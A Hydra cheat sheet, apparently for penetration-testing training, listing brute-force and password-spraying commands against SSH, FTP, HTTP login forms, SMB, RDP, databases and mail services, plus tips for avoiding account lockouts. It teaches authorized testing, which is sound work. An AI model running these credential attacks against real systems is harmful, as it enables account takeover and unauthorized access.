Hydra

Online password brute-forcing for SSH, FTP, HTTP, RDP & more

Hydra Cheat Sheet

Hydra (hydra) is a fast online brute-force / password-guessing tool supporting dozens of protocols (SSH, FTP, HTTP, SMB, RDP, and more). For authorized testing only.

1. Basic syntax

hydra -l <user>  -p <pass>      <target> <service>
hydra -L users.txt -P pass.txt  <target> <service>
hydra -l admin -P rockyou.txt   ssh://10.10.10.10

2. Core flags

Flag	Meaning
-l	Single username
-L	Username list (file)
-p	Single password
-P	Password list (file)
-C	Colon-separated user:pass combo file
-e nsr	Try null, same-as-login, reversed-login
-s <port>	Non-default port
-t <n>	Parallel tasks (default 16)
-f	Stop after the first valid pair (per host)
-F	Stop after the first valid pair (global)
-V	Verbose: show every attempt
-vV	Very verbose
-o file	Write found credentials to a file
-u	Loop users outer, passwords inner
-w <sec>	Wait time per response
-S	Connect via SSL

3. SSH / FTP / Telnet

hydra -l root -P rockyou.txt ssh://10.10.10.10
hydra -L users.txt -P pass.txt -t 4 ssh://10.10.10.10     # SSH likes low -t
hydra -l admin -P pass.txt ftp://10.10.10.10
hydra -l admin -P pass.txt telnet://10.10.10.10
hydra -l user -P pass.txt -s 2222 ssh://10.10.10.10       # custom port

4. HTTP POST form (http-post-form)

hydra -l admin -P rockyou.txt 10.10.10.10 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:F=Invalid credentials"

• Format: "<path>:<post-body>:<failure-condition>"
• ^USER^ / ^PASS^ are substituted each attempt.
• F=<string> → string present on failed login.
• S=<string> → string present on successful login (use instead of F= when easier).
• Add cookies / headers with :H=Cookie: PHPSESSID=....

5. HTTP GET form & Basic Auth

# GET login form
hydra -l admin -P pass.txt 10.10.10.10 http-get-form \
  "/login:user=^USER^&pass=^PASS^:F=incorrect"

# HTTP Basic Authentication
hydra -l admin -P pass.txt 10.10.10.10 http-get /admin/
hydra -l admin -P pass.txt -s 443 -S 10.10.10.10 https-get /secure/

6. Windows / SMB / RDP

hydra -l administrator -P pass.txt 10.10.10.10 smb
hydra -l administrator -P pass.txt rdp://10.10.10.10
hydra -L users.txt -P pass.txt 10.10.10.10 smb

7. Databases & mail

hydra -l root -P pass.txt mysql://10.10.10.10
hydra -l postgres -P pass.txt postgres://10.10.10.10
hydra -l sa -P pass.txt 10.10.10.10 mssql
hydra -l user@target.com -P pass.txt 10.10.10.10 smtp
hydra -l user -P pass.txt 10.10.10.10 pop3
hydra -l user -P pass.txt 10.10.10.10 imap

8. Useful combinations

# Spray one password across many users (password spraying)
hydra -L users.txt -p 'Winter2024!' ssh://10.10.10.10

# Try blank, same-as-user, and reversed-user passwords
hydra -L users.txt -e nsr ssh://10.10.10.10

# Combo file of user:pass pairs, stop at first hit, save output
hydra -C combos.txt -f -o found.txt ssh://10.10.10.10

9. List supported services

hydra                          # prints usage + the full protocol list
hydra -U http-post-form        # show help/usage for a specific module

10. Tips

• Throttle with low -t (e.g. -t 4) on SSH to avoid connection drops and lockouts.
• Watch for account lockout policies — prefer password spraying (one password, many users) over hammering one account.
• Build the form string from a real captured request (Burp / DevTools) so field names match exactly.
• Pair Hydra with realistic wordlists (rockyou.txt, SecLists).

Authorized testing only. Practice on the AYSEC challenges. See also the password cracking and nmap cheat sheets.